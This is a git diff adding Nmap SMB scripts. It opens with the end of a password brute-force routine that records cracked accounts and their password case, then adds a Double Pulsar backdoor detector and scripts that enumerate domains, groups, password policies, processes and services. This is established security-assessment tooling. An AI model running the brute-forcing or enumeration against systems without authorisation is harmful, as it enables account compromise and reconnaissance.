+ -- Unless the user requested to keep going, stop the check
+ if(not(stdnse.get_script_args( "smblockout" ))) then
+ -- Mark it as found, which is technically true
+ status, err = found_account(hostinfo, username, nil, results.ACCOUNT_LOCKED_NOW)
+ if(status == false) then
+ return err
+ end
+
+ -- Let the user know that it went badly
+ stdnse.debug1("'%s' became locked out; stopping", username)
+
+ return true, hostinfo['accounts'], hostinfo['locked_usernames']
+ else
+ stdnse.debug1("'%s' became locked out; continuing", username)
+ end
+ end
+
+ if(is_positive_result(hostinfo, result)) then
+ -- Reset the connection
+ stdnse.debug2("Found an account; resetting connection")
+ status, err = restart_session(hostinfo)
+ if(status == false) then
+ return false, err
+ end
+
+ -- Find the case of the password, unless it's a hash
+ local case_password
+ if(not(#password == 32 or #password == 64 or #password == 65)) then
+ stdnse.debug1("Determining password's case (%s)", format_result(username, password))
+ case_password = find_password_case(hostinfo, username, password, result)
+ stdnse.debug1("Result: %s", format_result(username, case_password))
+ else
+ case_password = password
+ end
+
+ -- Take normal actions for finding an account
+ status, err = found_account(hostinfo, username, case_password, result)
+ if(status == false) then
+ return err
+ end
+ end
+ username = get_next_username(hostinfo)
+ end
+
+ reset_username(hostinfo)
+ temp_password = get_next_password(hostinfo)
+ end
+
+ stop_session(hostinfo)
+ return true, hostinfo['accounts'], hostinfo['locked_usernames']
+end
+
+action = function(host)
+
+ local status, result
+ local response = {}
+
+ local username
+ local usernames = {}
+ local locked = {}
+ local i
+ local locked_result
+
+ status, result, locked_result = go(host)
+ if(status == false) then
+ return stdnse.format_output(false, result)
+ end
+
+ -- Put the usernames in their own table
+ for username in pairs(result) do
+ table.insert(usernames, username)
+ end
+
+ -- Sort the usernames alphabetically
+ table.sort(usernames)
+
+ -- Display the usernames
+ if(#usernames == 0) then
+ table.insert(response, "No accounts found")
+ else
+ for i=1, #usernames, 1 do
+ local username = usernames[i]
+ table.insert(response, format_result(username, result[username]['password'], result[username]['result']))
+ end
+ end
+
+ -- Make a list of locked accounts
+ for username in pairs(locked_result) do
+ table.insert(locked, username)
+ end
+ if(#locked > 0) then
+ -- Sort the list
+ table.sort(locked)
+
+ -- Display the list
+ table.insert(response, string.format("Locked accounts found: %s", table.concat(locked, ", ")))
+ end
+
+ return stdnse.format_output(true, response)
+end
+
diff --git a/scripts/smb-double-pulsar-backdoor.nse b/scripts/smb-double-pulsar-backdoor.nse
new file mode 100644
index 0000000..b0b991d
--- /dev/null
+++ b/scripts/smb-double-pulsar-backdoor.nse
@@ -0,0 +1,146 @@
+local smb = require "smb"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Checks if the target machine is running the Double Pulsar SMB backdoor.
+
+Based on the python detection script by Luke Jennings of Countercept.
+https://github.com/countercept/doublepulsar-detection-script
+]]
+
+---
+-- @usage nmap -p 445 <target> --script=smb-double-pulsar-backdoor
+--
+-- @see smb-vuln-ms17-010.nse
+--
+-- @output
+-- | smb-double-pulsar-backdoor:
+-- | VULNERABLE:
+-- | Double Pulsar SMB Backdoor
+-- | State: VULNERABLE
+-- | Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
+-- | The Double Pulsar SMB backdoor was detected running on the remote machine.
+-- |
+-- | Disclosure date: 2017-04-14
+-- | References:
+-- | https://isc.sans.edu/forums/diary/Detecting+SMB+Covert+Channel+Double+Pulsar/22312/
+-- | https://github.com/countercept/doublepulsar-detection-script
+-- |_ https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation
+
+author = "Andrew Orr"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe", "malware"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+-- stolen from smb.lua as timeout needs to be modified to get a response
+local function send_transaction2(smbstate, sub_command, function_parameters, function_data, overrides)
+ overrides = overrides or {}
+ local header1, header2, header3, header4, command, status, flags, flags2, pid_high, signature, unused, pid, mid
+ local header, parameters, data
+ local parameter_offset = 0
+ local parameter_size = 0
+ local data_offset = 0
+ local data_size = 0
+ local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
+ local response = {}
+
+ -- Header is 0x20 bytes long (not counting NetBIOS header).
+ header = smb.smb_encode_header(smbstate, 0x32, overrides) -- 0x32 = SMB_COM_TRANSACTION2
+
+ if(function_parameters) then
+ parameter_offset = 0x44
+ parameter_size = #function_parameters
+ data_offset = #function_parameters + 33 + 32
+ end
+
+ -- Parameters are 0x20 bytes long.
+ parameters = string.pack("<I2 I2 I2 I2 B B I2 I4 I2 I2 I2 I2 I2 B B I2",
+ parameter_size, -- Total parameter count.
+ data_size, -- Total data count.
+ 0x000a, -- Max parameter count.
+ 0x3984, -- Max data count.
+ 0x00, -- Max setup count.
+ 0x00, -- Reserved.
+ 0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
+ 10803622, -- Timeout
+ 0x0000, -- Reserved.
+ parameter_size, -- Parameter bytes.
+ parameter_offset, -- Parameter offset.
+ data_size, -- Data bytes.
+ data_offset, -- Data offset.
+ 0x01, -- Setup Count
+ 0x00, -- Reserved
+ sub_command -- Sub command
+ )
+
+ local data = "\0\0\0" .. (function_parameters or '')
+ .. (function_data or '')
+
+ -- Send the transaction request
+ stdnse.debug2("SMB: Sending SMB_COM_TRANSACTION2")
+ local result, err = smb.smb_send(smbstate, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ return true
+end
+
+action = function(host,port)
+ local double_pulsar = {
+ title = "Double Pulsar SMB Backdoor",
+-- IDS = {CVE = 'CVE-2010-2550'},
+ risk_factor = "HIGH",
+ scores = {
+ CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+The Double Pulsar SMB backdoor was detected running on the remote machine.
+]],
+ references = {
+ 'https://github.com/countercept/doublepulsar-detection-script',
+ 'https://isc.sans.edu/forums/diary/Detecting+SMB+Covert+Channel+Double+Pulsar/22312/',
+ 'https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation'
+ },
+ dates = {
+ disclosure = {year = '2017', month = '04', day = '14'},
+ },
+ exploit_results = {},
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ double_pulsar.state = vulns.STATE.NOT_VULN
+
+ local share = "IPC$"
+
+ local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
+
+ if not status then
+ stdnse.debug1("Could not connect to IPC$ share over SMB.")
+ else
+ -- the multiplex ID needs to be 65
+ smbstate["mid"] = 65;
+ -- 12 (not 11, not 13) nulls
+ local param = ("\0"):rep(12)
+ -- 0x000e is SESSION_SETUP
+ local status, result = send_transaction2(smbstate, 0xe, param)
+ if not status then
+ stdnse.debug1("Error: ", result)
+ else
+ local status, header, parameters, data = smb.smb_read(smbstate)
+ local multiplex_id = string.unpack("<I2", header, 1 + string.packsize("BBBBB I4 B I2 I2 i8 I2 I2 I2 I2"))
+
+ if (multiplex_id == 81) then
+ double_pulsar.state = vulns.STATE.VULN
+ else
+ stdnse.debug1("Machine is not vulnerable")
+ end
+ end
+ end
+ return report:make_output(double_pulsar)
+end
diff --git a/scripts/smb-enum-domains.nse b/scripts/smb-enum-domains.nse
new file mode 100644
index 0000000..6f6cf14
--- /dev/null
+++ b/scripts/smb-enum-domains.nse
@@ -0,0 +1,123 @@
+local math = require "math"
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to enumerate domains on a system, along with their policies. This generally requires
+credentials, except against Windows 2000. In addition to the actual domain, the "Builtin"
+domain is generally displayed. Windows returns this in the list of domains, but its policies
+don't appear to be used anywhere.
+
+Much of the information provided is useful to a penetration tester, because it tells the
+tester what types of policies to expect. For example, if passwords have a minimum length of 8,
+the tester can trim his database to match; if the minimum length is 14, the tester will
+probably start looking for sticky notes on people's monitors.
+
+Another useful piece of information is the password lockouts. A penetration tester often wants
+to know whether or not there's a risk of negatively impacting a network, and this will
+indicate it. The SID is displayed, which may be useful in other tools; the users are listed,
+which uses different functions than <code>smb-enum-users.nse</code> (though likely won't
+get different results), and the date and time the domain was created may give some insight into
+its history.
+
+After the initial <code>bind</code> to SAMR, the sequence of calls is:
+* <code>Connect4</code>: get a connect_handle
+* <code>EnumDomains</code>: get a list of the domains (stop here if you just want the names).
+* <code>QueryDomain</code>: get the SID for the domain.
+* <code>OpenDomain</code>: get a handle for each domain.
+* <code>QueryDomainInfo2</code>: get the domain information.
+* <code>QueryDomainUsers</code>: get a list of the users in the domain.
+]]
+
+---
+-- @usage
+-- nmap --script smb-enum-domains.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-enum-domains.nse -p U:137,T:139 <host>
+--
+-- @output
+-- Host script results:
+-- | smb-enum-domains:
+-- | WINDOWS2000
+-- | Groups: n/a
+-- | Users: Administrator, blah, Guest, testpass, ron, test, user
+-- | Creation time: 2009-10-17 12:45:47
+-- | Passwords: min length: n/a; min age: 5 days; max age: 100 days; history: 10 passwords
+-- | Properties: Complexity requirements exist
+-- | Account lockout: 5 attempts in 30 minutes will lock out the account for 30 minutes
+-- | Builtin
+-- | Groups: Administrators, Backup Operators, Guests, Power Users, Replicator, Users
+-- | Users: n/a
+-- | Creation time: 2009-10-17 12:45:46
+-- | Passwords: min length: n/a; min age: n/a days; max age: 42 days; history: n/a passwords
+-- |_ Account lockout disabled
+-----------------------------------------------------------------------
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","intrusive"}
+dependencies = {"smb-brute"}
+
+
+-- TODO: This script needs some love...
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host)
+
+ local status, result = msrpc.get_domains(host)
+
+ if(not(status)) then
+ return stdnse.format_output(false, result)
+ else
+ local response = {}
+
+ for domain, data in pairs(result) do
+ local piece = {}
+ piece['name'] = domain
+
+ if(#data.groups > 0) then
+ table.insert(piece, string.format("Groups: %s", table.concat(data.groups, ", ")))
+ else
+ table.insert(piece, "Groups: n/a")
+ end
+
+ if(#data.users > 0) then
+ table.insert(piece, string.format("Users: %s", table.concat(data.users, ", ")))
+ else
+ table.insert(piece, "Users: n/a")
+ end
+
+ -- Floor data.max_password_age, if possible
+ if(data.max_password_age) then
+ data.max_password_age = math.floor(data.max_password_age)
+ end
+
+ table.insert(piece, string.format("Creation time: %s", data.created))
+ table.insert(piece, string.format("Passwords: min length: %s; min age: %s days; max age: %s days; history: %s passwords",
+ data.min_password_length or "n/a",
+ data.min_password_age or "n/a",
+ data.max_password_age or "n/a",
+ data.password_history or "n/a"))
+ if(data.password_properties and #data.password_properties) then
+ table.insert(piece, string.format("Properties: %s", table.concat(data.password_properties, ", ")))
+ end
+
+ if(data.lockout_threshold) then
+ table.insert(piece, string.format("Account lockout: %s attempts in %s minutes will lock out the account for %s minutes", data.lockout_threshold, data.lockout_window or "unlimited", data.lockout_duration or "unlimited"))
+ else
+ table.insert(piece, "Account lockout disabled")
+ end
+
+ table.insert(response, piece)
+ end
+
+ return stdnse.format_output(true, response)
+ end
+end
+
diff --git a/scripts/smb-enum-groups.nse b/scripts/smb-enum-groups.nse
new file mode 100644
index 0000000..c24308f
--- /dev/null
+++ b/scripts/smb-enum-groups.nse
@@ -0,0 +1,174 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Obtains a list of groups from the remote Windows system, as well as a list of the group's users.
+This works similarly to <code>enum.exe</code> with the <code>/G</code> switch.
+
+The following MSRPC functions in SAMR are used to find a list of groups and the RIDs of their users. Keep
+in mind that MSRPC refers to groups as "Aliases".
+
+* <code>Bind</code>: bind to the SAMR service.
+* <code>Connect4</code>: get a connect_handle.
+* <code>EnumDomains</code>: get a list of the domains.
+* <code>LookupDomain</code>: get the RID of the domains.
+* <code>OpenDomain</code>: get a handle for each domain.
+* <code>EnumDomainAliases</code>: get the list of groups in the domain.
+* <code>OpenAlias</code>: get a handle to each group.
+* <code>GetMembersInAlias</code>: get the RIDs of the members in the groups.
+* <code>Close</code>: close the alias handle.
+* <code>Close</code>: close the domain handle.
+* <code>Close</code>: close the connect handle.
+
+Once the RIDs have been termined, the
+* <code>Bind</code>: bind to the LSA service.
+* <code>OpenPolicy2</code>: get a policy handle.
+* <code>LookupSids2</code>: convert SIDs to usernames.
+
+I (Ron Bowes) originally looked into the possibility of using the SAMR function <code>LookupRids2</code>
+to convert RIDs to usernames, but the function seemed to return a fault no matter what I tried. Since
+enum.exe also switches to LSA to convert RIDs to usernames, I figured they had the same issue and I do
+the same thing.
+]]
+
+---
+-- @usage
+-- nmap --script smb-enum-users.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>
+--
+-- @output
+-- Host script results:
+-- | smb-enum-groups:
+-- | Builtin\Administrators (RID: 544): Administrator, Daniel
+-- | Builtin\Users (RID: 545): <empty>
+-- | Builtin\Guests (RID: 546): Guest
+-- | Builtin\Performance Monitor Users (RID: 558): <empty>
+-- | Builtin\Performance Log Users (RID: 559): Daniel
+-- | Builtin\Distributed COM Users (RID: 562): <empty>
+-- | Builtin\IIS_IUSRS (RID: 568): <empty>
+-- | Builtin\Event Log Readers (RID: 573): <empty>
+-- | azure\HomeUsers (RID: 1000): Administrator, Daniel, HomeGroupUser$
+-- |_ azure\HelpLibraryUpdaters (RID: 1003): <empty>
+--
+-- @xmloutput
+-- <table key="Builtin">
+-- <table key="RID 544">
+-- <table key="member_sids">
+-- <elem>S-1-5-21-12345678-1234567890-0987654321-500</elem>
+-- <elem>S-1-5-21-12345678-1234567890-0987654321-1001</elem>
+-- </table>
+-- <elem key="name">Administrators</elem>
+-- <table key="members">
+-- <elem>Administrator</elem>
+-- <elem>Daniel</elem>
+-- </table>
+-- </table>
+-- <table key="RID 545">
+-- <table key="member_sids">
+-- <elem>S-1-5-4</elem>
+-- <elem>S-1-5-11</elem>
+-- </table>
+-- <elem key="name">Users</elem>
+-- <table key="members"></table>
+-- </table>
+-- <table key="RID 546">
+-- <table key="member_sids">
+-- <elem>S-1-5-21-12345678-1234567890-0987654321-501</elem>
+-- </table>
+-- <elem key="name">Guests</elem>
+-- <table key="members">
+-- <elem>Guest</elem>
+-- </table>
+-- </table>
+-- <table key="RID 559">
+-- <table key="member_sids">
+-- <elem>S-1-5-21-12345678-1234567890-0987654321-1001</elem>
+-- </table>
+-- <elem key="name">Performance Log Users</elem>
+-- <table key="members">
+-- <elem>Daniel</elem>
+-- </table>
+-- </table>
+-- <table key="RID 562">
+-- <table key="member_sids"></table>
+-- <elem key="name">Distributed COM Users</elem>
+-- <table key="members"></table>
+-- </table>
+-- <table key="RID 568">
+-- <table key="member_sids">
+-- <elem>S-1-5-17</elem>
+-- </table>
+-- <elem key="name">IIS_IUSRS</elem>
+-- <table key="members"></table>
+-- </table>
+-- </table>
+-- <table key="azure">
+-- <table key="RID 1000">
+-- <table key="member_sids">
+-- <elem>S-1-5-21-12345678-1234567890-0987654321-500</elem>
+-- <elem>S-1-5-21-12345678-1234567890-0987654321-1001</elem>
+-- <elem>S-1-5-21-12345678-1234567890-0987654321-1002</elem>
+-- </table>
+-- <elem key="name">HomeUsers</elem>
+-- <table key="members">
+-- <elem>Administrator</elem>
+-- <elem>Daniel</elem>
+-- <elem>HomeGroupUser$</elem>
+-- </table>
+-- </table>
+-- <table key="RID 1003">
+-- <table key="member_sids"></table>
+-- <elem key="name">HelpLibraryUpdaters</elem>
+-- <table key="members"></table>
+-- </table>
+-- </table>
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","intrusive"}
+dependencies = {"smb-brute"}
+
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+local empty = {"<empty>"}
+
+action = function(host)
+ local status, groups = msrpc.samr_enum_groups(host)
+ if(not(status)) then
+ return stdnse.format_output(false, "Couldn't enumerate groups: " .. groups)
+ end
+
+ local response = stdnse.output_table()
+ local response_str = {}
+
+ local domains = tableaux.keys(groups)
+ table.sort(domains)
+ for _, domain_name in ipairs(domains) do
+ local dom_groups = stdnse.output_table()
+ response[domain_name] = dom_groups
+ local domain_data = groups[domain_name]
+
+ local rids = tableaux.keys(domain_data)
+ table.sort(rids)
+ for _, rid in ipairs(rids) do
+ local group_data = domain_data[rid]
+ -- TODO: Map SIDs to names, show non-named SIDs
+ table.insert(response_str,
+ string.format("\n %s\\%s (RID: %s): %s", domain_name, group_data.name, rid,
+ table.concat(#group_data.members > 0 and group_data.members or empty, ", "))
+ )
+ dom_groups[string.format("RID %d", rid)] = group_data
+ end
+ end
+
+ return response, table.concat(response_str)
+end
+
diff --git a/scripts/smb-enum-processes.nse b/scripts/smb-enum-processes.nse
new file mode 100644
index 0000000..cb81df5
--- /dev/null
+++ b/scripts/smb-enum-processes.nse
@@ -0,0 +1,278 @@
+local msrpcperformance = require "msrpcperformance"
+local nmap = require "nmap"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Pulls a list of processes from the remote server over SMB. This will determine
+all running processes, their process IDs, and their parent processes. It is done
+by querying the remote registry service, which is disabled by default on Vista;
+on all other Windows versions, it requires Administrator privileges.
+
+Since this requires administrator privileges, it isn't especially useful for a
+penetration tester, since they can effectively do the same thing with metasploit
+or other tools. It does, however, provide for a quick way to get process lists
+for a bunch of systems at the same time.
+
+WARNING: I have experienced crashes in <code>regsvc.exe</code> while making registry calls
+against a fully patched Windows 2000 system; I've fixed the issue that caused
+it, but there's no guarantee that it (or a similar vulnerability in the same code) won't
+show up again. Since the process automatically restarts, it doesn't negatively
+impact the system, besides showing a message box to the user.
+]]
+
+---
+-- @usage
+-- nmap --script smb-enum-processes.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-enum-processes.nse -p U:137,T:139 <host>
+--
+---
+-- @output
+-- Host script results:
+-- | smb-enum-processes:
+-- |_ |_ Idle, System, smss, csrss, winlogon, services, logon.scr, lsass, spoolsv, msdtc, VMwareService, svchost, alg, explorer, VMwareTray, VMwareUser, wmiprvse
+--
+-- --
+-- Host script results:
+-- | smb-enum-processes:
+-- | `+-Idle
+-- | | `-System
+-- | | `-smss
+-- | | `+-csrss
+-- | | `-winlogon
+-- | | `+-services
+-- | | | `+-spoolsv
+-- | | | +-msdtc
+-- | | | +-VMwareService
+-- | | | +-svchost
+-- | | | `-alg
+-- | | +-logon.scr
+-- | | `-lsass
+-- | +-explorer
+-- | | `+-VMwareTray
+-- | | `-VMwareUser
+-- |_ `-wmiprvse
+--
+-- --
+-- Host script results:
+-- | smb-enum-processes:
+-- | PID PPID Priority Threads Handles
+-- | ----- ----- -------- ------- -------
+-- | 0 0 0 1 0 `+-Idle
+-- | 4 0 8 49 395 | `-System
+-- | 252 4 11 3 19 | `-smss
+-- | 300 252 13 10 338 | `+-csrss
+-- | 324 252 13 18 513 | `-winlogon
+-- | 372 324 9 16 272 | `+-services
+-- | 872 372 8 12 121 | | `+-spoolsv
+-- | 896 372 8 13 151 | | +-msdtc
+-- | 1172 372 13 3 53 | | +-VMwareService
+-- | 1336 372 8 20 158 | | +-svchost
+-- | 1476 372 8 6 90 | | `-alg
+-- | 376 324 4 1 22 | +-logon.scr
+-- | 384 324 9 23 394 | `-lsass
+-- | 1720 1684 8 9 259 +-explorer
+-- | 1796 1720 8 1 42 | `+-VMwareTray
+-- | 1808 1720 8 1 44 | `-VMwareUser
+-- |_ 1992 580 8 7 179 `-wmiprvse
+-----------------------------------------------------------------------
+
+author = "Ron Bowes"
+copyright = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+dependencies = {"smb-brute"}
+
+
+function psl_mode (list, i)
+ local mode
+
+ -- Decide connector for process.
+ if #list == 1 then
+ mode = "only"
+ elseif i == 1 then
+ mode = "first"
+ elseif i < #list then
+ mode = "middle"
+ else
+ mode = "last"
+ end
+
+ return mode
+end
+
+function psl_print (psl, lvl)
+ -- Print out table header.
+ local result = {}
+ if lvl == 2 then
+ result[#result+1] = " PID PPID Priority Threads Handles\n"
+ result[#result+1] = "----- ----- -------- ------- -------\n"
+ end
+
+ -- Find how many root processes there are.
+ local roots = {}
+ for i, ps in pairs(psl) do
+ if psl[ps.ppid] == nil or ps.ppid == ps.pid then
+ table.insert(roots, i)
+ end
+ end
+ table.sort(roots)
+
+ -- Create vertical sibling bars.
+ local bars = {}
+ if #roots ~= 1 then
+ table.insert(bars, 2)
+ end
+
+ -- Print out each root of the tree.
+ for i, root in ipairs(roots) do
+ local mode = psl_mode(roots, i)
+ psl_tree(psl, root, 0, bars, mode, lvl, result)
+ end
+
+ return table.concat(result)
+end
+
+function psl_tree (psl, pid, column, bars, mode, lvl, result)
+ local ps = psl[pid]
+
+ -- Delete vertical sibling link.
+ if mode == "last" then
+ table.remove(bars)
+ end
+
+ -- Print information table.
+ local info = ""
+ if lvl == 2 then
+ info = string.format("% 5d % 5d % 8d % 7d % 7d ", ps.pid, ps.ppid, ps.prio, ps.thrd, ps.hndl)
+ end
+
+ -- Print vertical sibling bars.
+ local prefix = ""
+ for i=1, #bars do
+ prefix = prefix .. string.rep(" ", bars[i] - 1) .. "|"
+ end
+
+ -- Strings used to separate processes from one another.
+ local separators = {
+ first = "`+-";
+ last = " `-";
+ middle = " +-";
+ only = "`-";
+ }
+
+ -- Format process itself.
+ result[#result+1] = "\n" .. info .. prefix .. separators[mode] .. ps.name
+
+ -- Find children of the process.
+ local children = {}
+ for child_pid, child in pairs(psl) do
+ if child_pid ~= pid and child.ppid == pid then
+ table.insert(children, child_pid)
+ end
+ end
+ table.sort(children)
+
+ -- Add vertical sibling link between children.
+ column = column + #separators[mode]
+ if #children > 1 then
+ table.insert(bars, column + 2)
+ end
+
+ -- Format process's children.
+ for i, pid in ipairs(children) do
+ local mode = psl_mode(children, i)
+ psl_tree(psl, pid, column, bars, mode, lvl, result)
+ end
+
+ return result
+end
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host)
+ -- Get the process list
+ local status, result = msrpcperformance.get_performance_data(host, "230")
+ if status == false then
+ return stdnse.format_output(false, result)
+ end
+
+ -- Get the process table
+ local process = result["Process"]
+
+ -- Put the processes into an array, and sort them by pid.
+ local names = {}
+ for i, v in pairs(process) do
+ if i ~= "_Total" then
+ names[#names + 1] = i
+ end
+ end
+ table.sort(names, function (a, b) return process[a]["ID Process"] < process[b]["ID Process"] end)
+
+ -- Put the processes into an array indexed by pid and with a value equal
+ -- to the name (so we can look it up easily when we need to).
+ local process_id = {}
+ for i, v in pairs(process) do
+ process_id[v["ID Process"]] = i
+ end
+
+ -- Fill the process list table.
+ --
+ -- Used fields:
+ -- Creating Process ID
+ -- Handle Count
+ -- ID Process
+ -- Priority Base
+ -- Thread Count
+ --
+ -- Unused fields:
+ -- % Privileged Time
+ -- % Processor Time
+ -- % User Time
+ -- Elapsed Time
+ -- IO Data Bytes/sec
+ -- IO Data Operations/sec
+ -- IO Other Bytes/sec
+ -- IO Other Operations/sec
+ -- IO Read Bytes/sec
+ -- IO Read Operations/sec
+ -- IO Write Bytes/sec
+ -- IO Write Operations/sec
+ -- Page Faults/sec
+ -- Page File Bytes
+ -- Page File Bytes Peak
+ -- Pool Nonpaged Bytes
+ -- Pool Paged Bytes
+ -- Private Bytes
+ -- Virtual Bytes
+ -- Virtual Bytes Peak
+ -- Working Set
+ -- Working Set Peak
+ local psl = {}
+ for i, name in ipairs(names) do
+ if name ~= "_Total" then
+ psl[process[name]["ID Process"]] = {
+ name = name;
+ pid = process[name]["ID Process"];
+ ppid = process[name]["Creating Process ID"];
+ prio = process[name]["Priority Base"];
+ thrd = process[name]["Thread Count"];
+ hndl = process[name]["Handle Count"];
+ }
+ end
+ end
+
+ -- Produce final output.
+ local response
+ if nmap.verbosity() == 0 then
+ response = "|_ " .. table.concat(names, ", ")
+ else
+ response = "\n" .. psl_print(psl, nmap.verbosity())
+ end
+
+ return response
+end
diff --git a/scripts/smb-enum-services.nse b/scripts/smb-enum-services.nse
new file mode 100644
index 0000000..311515f
--- /dev/null
+++ b/scripts/smb-enum-services.nse
@@ -0,0 +1,917 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+
+description = [[
+Retrieves the list of services running on a remote Windows system.
+Each service attribute contains service name, display name and service status of
+each service.
+
+Note: Modern Windows systems requires a privileged domain account in order to
+list the services.
+
+References:
+* https://technet.microsoft.com/en-us/library/bb490995.aspx
+* https://en.wikipedia.org/wiki/Windows_service
+]]
+
+---
+-- @usage
+-- nmap --script smb-enum-services.nse -p445 <host>
+-- nmap --script smb-enum-services.nse --script-args smbusername=<username>,smbpass=<password> -p445 <host>
+--
+-- @output
+-- | smb-enum-services:
+-- |
+-- | ALG:
+-- | display_name: Application Layer Gateway Service
+-- | state:
+-- | SERVICE_PAUSE_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_RUNNING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- | SERVICE_CONTROL_CONTINUE
+-- | SERVICE_CONTROL_NETBINDADD
+-- | SERVICE_CONTROL_STOP
+-- | SERVICE_CONTROL_NETBINDENABLE
+-- | ClipSrv:
+-- | display_name: ClipBook
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | COMSysApp:
+-- | display_name: COM+ System Application
+-- | state:
+-- | SERVICE_PAUSE_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_RUNNING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- | SERVICE_CONTROL_CONTINUE
+-- | SERVICE_CONTROL_NETBINDADD
+-- | SERVICE_CONTROL_STOP
+-- | SERVICE_CONTROL_NETBINDENABLE
+-- | Dfs:
+-- | display_name: Distributed File System
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | ImapiService:
+-- | display_name: IMAPI CD-Burning COM Service
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | IsmServ:
+-- | display_name: Intersite Messaging
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | LicenseService:
+-- | display_name: License Logging
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | mnmsrvc:
+-- | display_name: NetMeeting Remote Desktop Sharing
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | MSDTC:
+-- | display_name: Distributed Transaction Coordinator
+-- | state:
+-- | SERVICE_PAUSE_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_RUNNING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- | SERVICE_CONTROL_CONTINUE
+-- | SERVICE_CONTROL_INTERROGATE
+-- | SERVICE_CONTROL_NETBINDADD
+-- | SERVICE_CONTROL_PARAMCHANGE
+-- | SERVICE_CONTROL_STOP
+-- | SERVICE_CONTROL_NETBINDENABLE
+-- | NtFrs:
+-- | display_name: File Replication
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
+-- | controls_accepted:
+-- |
+-- | RDSessMgr:
+-- | display_name: Remote Desktop Help Session Manager
+-- | state:
+-- | SERVICE_STOPPED
+-- | SERVICE_STOP_PENDING
+-- | SERVICE_CONTINUE_PENDING
+-- | SERVICE_PAUSED
+-- | type:
+-- | SERVICE_TYPE_WIN32
+-- | SERVICE_TYPE_WIN32_OWN_PROCESS
